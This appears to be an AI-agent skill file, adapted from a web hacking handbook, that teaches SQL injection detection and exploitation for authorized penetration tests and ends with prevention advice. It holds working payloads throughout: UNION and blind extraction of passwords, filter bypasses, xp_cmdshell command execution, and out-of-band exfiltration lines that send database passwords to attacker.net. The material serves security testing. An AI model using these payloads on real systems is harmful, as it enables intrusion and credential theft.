bookforge-sql-injection-detection-and-exploitation（bookforge SQL injection detection AND exploitation 搜索）

SQL Injection Detection and Exploitation

When to Use

You have authorized access to a web application and need to assess whether user-controlled input reaches a SQL interpreter unsafely, and if so, what data can be extracted or what actions can be taken.

This skill applies when:

• A penetration test scope includes any web application backed by a relational database
• A code review targets query construction in application code or stored procedures
• Application responses contain database error messages, unexpected data, or timing anomalies
• You need to walk through the full detection-to-exploitation chain for an identified injection point
• You are assessing whether deployed input filters are sufficient to prevent exploitation

Scope boundary: Obtain written authorization and scope approval before testing. For any UPDATE or DELETE injection point, warn the application owner and recommend a full database backup — a WHERE clause manipulation can affect every row in a table.

Core Concept: Why SQL Injection Exists

Web applications construct SQL queries at runtime by concatenating user-supplied data with static query fragments. SQL is an interpreted language: the database cannot distinguish between query structure the developer intended and data the user supplied. When input breaks out of its intended data context — by supplying characters with special meaning in SQL such as single quotes, comment sequences, or arithmetic operators — the attacker's input becomes part of the query's logic.

The fundamental root cause is string interpolation of untrusted input into an interpreted language. The same class of vulnerability applies to LDAP, XPath, and NoSQL query languages, which are covered briefly at the end of this skill.

Process

Phase 1: Identify Candidate Injection Points

Probe every location where user-controlled data reaches the database. The attack surface is broader than it appears:

• URL query string parameters (name and value)
• POST body fields in forms and API requests
• Cookie values passed to database queries
• HTTP headers: User-Agent, Referer, X-Forwarded-For
• JSON and XML body fields in API calls
• ORDER BY column names or sort direction parameters

Why this matters: Applications frequently pass HTTP headers and cookie values to database queries for logging or personalization. Testers who probe only visible form fields miss a significant fraction of injection surface.

Walk any multi-step process (registration, checkout, password change) to completion before evaluating responses. Applications often batch input across multiple requests and commit to the database only after the final step — probing individual requests in isolation will miss these.

Phase 2: Detect SQL Injection — String Data Context

When user input is incorporated into a SQL query as a string literal, the database wraps it in single quotation marks. Use the following three-step confirmation procedure:

Step 1 — Submit a single quotation mark. Observe whether the response changes: a database error, a blank result set, or any behavior different from the benign baseline indicates the input reaches a SQL parser.

*Why:* A single quote terminates the string literal opened by the developer's query, leaving unmatched syntax that the database rejects. The error itself confirms interpreter contact.

Step 2 — If an anomaly appeared, submit two consecutive single quotation marks (''). Databases interpret '' as an escaped literal single quote within a string, so the syntax remains valid. If the error or anomaly disappears, the application is almost certainly vulnerable.

*Why:* This distinguishes a SQL injection response from a generic input validation rejection. The disappearance of the error when quotes are doubled is a high-confidence indicator.

Step 3 — Verify using database-specific string concatenation. Construct input that concatenates fragments to produce a known-good value, and confirm the application treats the crafted input identically to the original. Concatenation syntax by platform:

*Why:* If the application returns the same result for the concatenated form as for the original literal, it confirms that the injected SQL is being executed rather than merely reflected or rejected by a filter.

Phase 3: Detect SQL Injection — Numeric Data Context

Numeric parameters are often passed directly to the database without single-quote delimiters, so string-quoting tests may not apply. Use this four-step procedure:

Step 1 — Submit a mathematically equivalent expression. If the original value is 2, submit 1+1 or 3-1. If the application responds identically, the parameter may be vulnerable.

*Why:* The database evaluates the arithmetic and produces the same result. A non-SQL-aware application (or WAF) would treat 1+1 as a literal string and return a different result.

Step 2 — Confirm behavioral impact. This test is most reliable when the parameter visibly controls application behavior — for example, a PageID parameter that selects which content is displayed. If the parameter has no observable effect on output, a matching response provides no evidence.

Step 3 — Use SQL-specific syntax to further confirm. The ASCII function returns the numeric ASCII code of a character. Since ASCII('A') = 65, submitting 67-ASCII('A') (which evaluates to 2) in place of the original value 2 confirms SQL interpretation.

Step 4 — If single quotes are filtered, avoid them entirely. Databases implicitly convert numeric values to strings. Since ASCII('1') = 49, submitting 51-ASCII(1) (evaluating to 2) achieves the same confirmation without using a single quote.

URL encoding reminder: Characters with special HTTP meaning must be percent-encoded in payloads: & → %26, = → %3d, space → + or %20, + → %2b, ; → %3b.

Phase 4: Fingerprint the Database Platform

Advanced exploitation techniques and metadata table names differ across platforms. Fingerprint early. Two reliable methods:

Method 1 — String concatenation behavior: Inject a value constructed using each platform's concatenation syntax. The platform whose syntax produces the correct result is the target.

Method 2 — Platform-specific zero-expressions (inject into numeric context): Each expression evaluates to 0 on the target platform and generates an error on others:

• Oracle: BITAND(1,1)-BITAND(1,1)
• MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
• MySQL: CONNECTION_ID()-CONNECTION_ID()

MySQL version-gating: MySQL supports conditional comments of the form /*!32302 ... */ — the contents execute only if the MySQL version is at or above 3.23.02. This can confirm both platform and minimum version.

Version strings directly:

• MS-SQL / MySQL: @@version global variable
• Oracle: SELECT banner FROM v$version
• PostgreSQL: SELECT version()

Phase 5: Choose an Extraction Technique

Use this decision tree once injection is confirmed:

Is query output reflected in the HTTP response?
├── YES → Use UNION-based extraction (fastest, most reliable)
└── NO
    ├── Can application behavior be influenced (login success/fail, content changes)?
    │   ├── YES → Use boolean-based blind inference
    │   └── NO
    │       ├── Can a conditional database error be triggered?
    │       │   ├── YES → Use error-based (conditional error) inference
    │       │   └── NO → Use time-based blind inference (last resort)
    └── Is an outbound network path available from the database server?
        └── YES → Consider out-of-band channel (UTL_HTTP, DNS lookup, OPENROWSET)

Phase 6: UNION-Based Data Extraction

UNION appends the result set of an injected SELECT to the original query's result set. Both SELECT statements must return the same number of columns with compatible data types.

Step 1 — Determine column count. Inject UNION SELECT NULL-- and increment NULL columns until the query executes without error:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Success: an additional row appears in the response (may contain the word NULL or be visually empty — examine the raw response). On Oracle, every SELECT requires a FROM clause; use FROM DUAL: ' UNION SELECT NULL FROM DUAL--

*Why NULL:* NULL is type-compatible with every data type, so it satisfies the type-matching requirement regardless of the original column types.

Step 2 — Identify a string-typed column. Systematically replace each NULL with the literal string 'a':

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

When a row containing a appears in the response, that column position accepts string data and can carry extracted text.

Step 3 — Extract schema metadata. Query the database's information schema to discover table and column names:

• MS-SQL, MySQL, PostgreSQL: SELECT table_name,column_name FROM information_schema.columns
• Oracle: SELECT table_name,column_name FROM all_tab_columns

Target columns matching sensitive patterns: column_name LIKE '%PASS%', column_name LIKE '%USER%', column_name LIKE '%TOKEN%'.

Concatenate multiple columns into a single string to simplify retrieval when only one string column is available:

• Oracle: SELECT table_name||':'||column_name FROM all_tab_columns
• MS-SQL: SELECT table_name+':'+column_name FROM information_schema.columns
• MySQL: SELECT CONCAT(table_name,':',column_name) FROM information_schema.columns

Step 4 — Extract target data. Once table and column names are known, inject a UNION query targeting those columns directly:

' UNION SELECT username,password,NULL FROM users--

*Why this technique is preferred when available:* UNION extraction returns complete result sets in a single request, is easy to iterate, and produces visible output the tester can read directly.

Phase 7: Blind SQL Injection — Boolean-Based Inference

When query results are not reflected in the response but application behavior differs between true and false conditions (for example, a login page that succeeds or fails), extract data one bit or byte at a time.

Core pattern — conditional behavior:

admin' AND 1=1--    → true condition → login succeeds
admin' AND 1=2--    → false condition → login fails

Extracting a string character by character: Use ASCII(SUBSTRING(target_string, position, 1)) to retrieve the ASCII code of each character, then test candidate values:

admin' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) = 65--

Cycle through ASCII values 32–127 until the true-condition response is observed. Automate with sqlmap or a custom script for efficiency.

Error-based (conditional error) inference — when no behavioral difference exists: Inject a divide-by-zero (1/0) expression inside a WHERE clause that evaluates only when a tested condition is true. A database error (HTTP 500 or error message) indicates the condition is true; no error indicates false:

Oracle example — tests whether user DBSNMP exists:

SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username='DBSNMP')='DBSNMP'

MS-SQL equivalent:

(select 1 where <<condition>> or 1/0=0)

*Why this works:* Databases use short-circuit evaluation — an expression in a WHERE clause is evaluated only if needed. If the condition is false, the 1/0 branch is never reached, so no error occurs.

Phase 8: Blind SQL Injection — Time-Based Inference

When no output, behavioral difference, or error is observable, use conditional time delays as the signal channel. A measurable delay indicates a true condition; no delay indicates false.

Platform time-delay syntax:

Extracting data with time delays:

if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'
if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'

Bit-extraction optimization (MS-SQL): Use POWER and bitwise AND to test individual bits, reducing requests from up to 95 per character to 8:

if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'

*Why use time delays:* Time-based inference is the last-resort technique that works even when results, errors, and behavioral differences are all suppressed. It also serves as an initial detection probe for completely blind injection points — injecting '; waitfor delay '0:30:0'-- into each parameter and monitoring response time identifies MS-SQL injection that would be invisible to standard probing.

Phase 9: Filter Bypass Techniques

When input validation blocks payloads, apply these techniques:

Avoiding blocked characters:

• Single quotes blocked: construct strings using CHR/CHAR functions with ASCII codes

- Oracle: CHR(109)||CHR(97)||CHR(114)||CHR(99)||CHR(117)||CHR(115) = marcus - MS-SQL: CHAR(109)+CHAR(97)+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)

• Comment symbol blocked: "balance" the quotes instead — ' or 'a'='a instead of ' or 1=1--
• Spaces stripped: use inline comments as whitespace substitutes — SELECT/*foo*/username,password/*foo*/FROM/*foo*/users

Circumventing keyword blacklists:

• Case variation: SeLeCt, sElEcT
• Null-byte prefix: %00SELECT
• Double-keyword (filter removes once): SELSELECTECT
• URL encoding: %53%45%4c%45%43%54 for SELECT
• Double URL encoding: %2553%2545%254c%2545%2543%2554

MySQL comment injection within keywords: MySQL allows /*comment*/ inside keyword tokens: SEL/*foo*/ECT username,password FR/*foo*/OM users

Batched queries (MS-SQL): MS-SQL parses multiple statements in a single query string without requiring a semicolon separator. This enables appending entirely independent statements.

Defective filter exploitation: Filters that apply sanitization once (non-recursive) can be defeated by nesting the blocked string so that after the filter removes one occurrence the blocked string re-forms: SELSELECTECT → filter removes SELECT → remaining string is SELECT.

Phase 10: Second-Order SQL Injection

Second-order injection occurs when:

1. Input is stored safely in the database on first write (escaped or parameterized)
2. The stored value is later retrieved and embedded unsafely into a different SQL query

Detection pattern: Register a username such as ' or 1 in (select password from users where username='admin')--. The registration step succeeds because input is safely handled. A subsequent action — such as changing a password — reuses the stored username in a new query without parameterization, triggering the injection.

Why it evades standard input validation: Input-boundary validation fires only at the point of entry. The stored value reaches the second query as "trusted" database content, bypassing any input-layer defenses. Only parameterized queries at the point of each database access prevent this class.

Phase 11: Advanced Exploitation — Beyond Data Extraction

OS Command Execution

MS-SQL — xp_cmdshell: The xp_cmdshell extended stored procedure executes operating system commands as the SQL Server service account. If disabled, a DBA-privileged account can re-enable it:

EXEC xp_cmdshell 'dir c:\'

Oracle — UTL_HTTP / UTL_FILE: UTL_HTTP makes arbitrary HTTP requests; UTL_FILE reads and writes filesystem files. These are accessible to low-privileged database users by default (Oracle 10g and earlier):

UTL_HTTP.request('http://attacker.net:80/'||(SELECT password FROM dba_users WHERE rownum=1))

MySQL — SELECT INTO OUTFILE: Writes query results to a filesystem path, including UNC paths for network shares:

SELECT * INTO OUTFILE '\\\\attacker.net\\share\\output.txt' FROM users

Out-of-Band Data Exfiltration

When query results cannot be read directly, use database network capabilities to transmit data to an attacker-controlled listener:

• MS-SQL (older): OPENROWSET to connect to an external database and insert extracted data
• Oracle UTL_HTTP: Encode extracted data as a URL path component in an HTTP GET request
• Oracle UTL_INADDR: Trigger DNS lookups with extracted data encoded as a subdomain — DNS traffic typically bypasses firewall controls that block HTTP
• Oracle DBMS_LDAP.INIT (Oracle 11g): Initiates LDAP connection encoding data in the hostname

DNS-based exfiltration example (Oracle):

UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE name='SYS')||'.attacker.net')

Related Injection Types

NoSQL Injection

Document databases (MongoDB, CouchDB) use query operators ($where, $gt, $regex) that can be manipulated through JSON or array parameters. Inject operator objects where scalar values are expected. Authentication bypass: {"username": {"$gt": ""}, "password": {"$gt": ""}}.

XPath Injection

Applications that query XML stores using XPath are vulnerable to the same class of attack. XPath has no parameterized query equivalent in most implementations. Bypass authentication with: ' or '1'='1 injected into an XPath predicate.

LDAP Injection

LDAP directory queries use filter syntax with special characters (, ), *, \, NUL. Inject * into a username field to match all entries. Close filter expressions early and append additional conditions. No standard parameterization library exists; defense requires strict allowlist input validation.

Preventing SQL Injection

Parameterized Queries (Prepared Statements)

The only reliable primary defense. The query structure is defined first; user input is bound as typed parameters — never concatenated into the query string. The database never interprets bound parameters as SQL syntax.

# Vulnerable
query = "SELECT * FROM users WHERE username = '" + username + "'"

# Safe — parameterized
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

Why this works: The query structure is sent to the database separately from the data. Even if input contains quotes, semicolons, or SQL keywords, the database treats the entire bound value as a data literal.

Stored Procedures — Caveats

Stored procedures are not automatically safe. A stored procedure that constructs SQL dynamically using string concatenation is equally vulnerable. Stored procedures are safe only when they use parameterized execution internally (e.g., sp_executesql with parameter binding in MS-SQL).

Defense in Depth

Parameterized queries are the primary control. Support with:

• Least-privilege database accounts: Application accounts should have only SELECT/INSERT/UPDATE on required tables — never DDL, DBA, or OS-execution privileges
• Web Application Firewall rules: Secondary layer; not a substitute for parameterized queries — filters are bypassable
• Error handling: Suppress database error messages from HTTP responses; log them server-side only
• Column name injection: Parameterized queries cannot bind column names or ORDER BY values — use an allowlist of permitted identifiers for these cases

Examples

Example 1: UNION Extraction on a Search Endpoint

Scenario: Penetration test of an e-commerce application. The product search endpoint GET /search?q=widget returns product names and prices.

Trigger: Submitting widget' produces a database error revealing MS-SQL syntax. Submitting widget'' (doubled quote) restores normal results.

Process:

1. Submit ' UNION SELECT NULL-- → column count error. Add NULLs until ' UNION SELECT NULL,NULL-- executes without error (two columns).
2. Submit ' UNION SELECT 'a',NULL-- → row containing a appears. Column 1 accepts strings.
3. Submit ' UNION SELECT table_name+':'+column_name,NULL FROM information_schema.columns-- → metadata for all tables and columns returned in search results.
4. Identify dbo.accounts with columns email, password_hash, card_last4.
5. Submit ' UNION SELECT email+':'+password_hash,NULL FROM dbo.accounts-- → credential hashes extracted.

Output: Structured finding: CWE-89, Critical severity, reproduction steps, list of extracted accounts (masked for report), remediation: replace string interpolation with SqlCommand parameterized queries.

Example 2: Boolean-Based Blind Injection on a Login Form

Scenario: Security assessment of a banking application. The login form does not reflect query results. A correct username with wrong password returns "Invalid credentials." A nonexistent username returns the same message.

Trigger: Submitting admin' AND 1=1-- as username with any password → login succeeds (admin account accessed). Submitting admin' AND 1=2-- → login fails.

Process:

1. Confirm injection: true/false conditions produce distinct responses.
2. Extract admin password length: admin' AND LENGTH((SELECT password FROM users WHERE username='admin'))=8-- → success confirms 8-character password.
3. Extract each character: iterate ASCII(SUBSTRING(...,N,1)) values 32–127 for positions 1–8.
4. After ~640 requests (automatable with sqlmap --technique=B), full password hash reconstructed.
5. Also enumerate other usernames via information_schema.

Output: Finding: CWE-89 on login username parameter, Critical. Evidence: boolean inference confirmed, admin credentials extracted in test environment. Remediation: parameterized queries; no application change detects exploitation in progress.

Example 3: Second-Order Injection via Username Registration

Scenario: Code review of a SaaS application. Registration handler escapes all single quotes by doubling them. Password-change handler retrieves the username from the database and embeds it in a query using string concatenation.

Trigger: Register username ' or 1 in (select password from users where username='superadmin')--. Registration succeeds (quote is doubled to '' in INSERT). When the attacker later changes their password, the application executes:

SELECT password FROM users WHERE username = '' or 1 in (select password from users where username='superadmin')--'

The error message leaks the superadmin password hash.

Process:

1. Grep codebase for password-change handler: Grep("SELECT.*username.*WHERE", type="py").
2. Confirm: retrieved username is passed to a new query via f-string without parameterization.
3. Demonstrate exploitation path: register crafted username, trigger password-change, observe error.

Output: Finding: CWE-89 second-order injection in password-change flow, High severity. Root cause: boundary validation at entry point; no parameterization at point of use. Remediation: parameterize the password-change query regardless of where the username value originated.

References

See references/cross-platform-sql-syntax.md for the full cross-platform syntax reference table covering: comments, string concatenation, version queries, metadata tables, time-delay functions, conditional expressions, and character encoding functions across MS-SQL, MySQL, Oracle, and PostgreSQL.

License

This skill is licensed under CC-BY-SA-4.0. Source: BookForge — The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws by Dafydd Stuttard, Marcus Pinto.

Related BookForge Skills

This skill is standalone. Browse more BookForge skills: bookforge-skills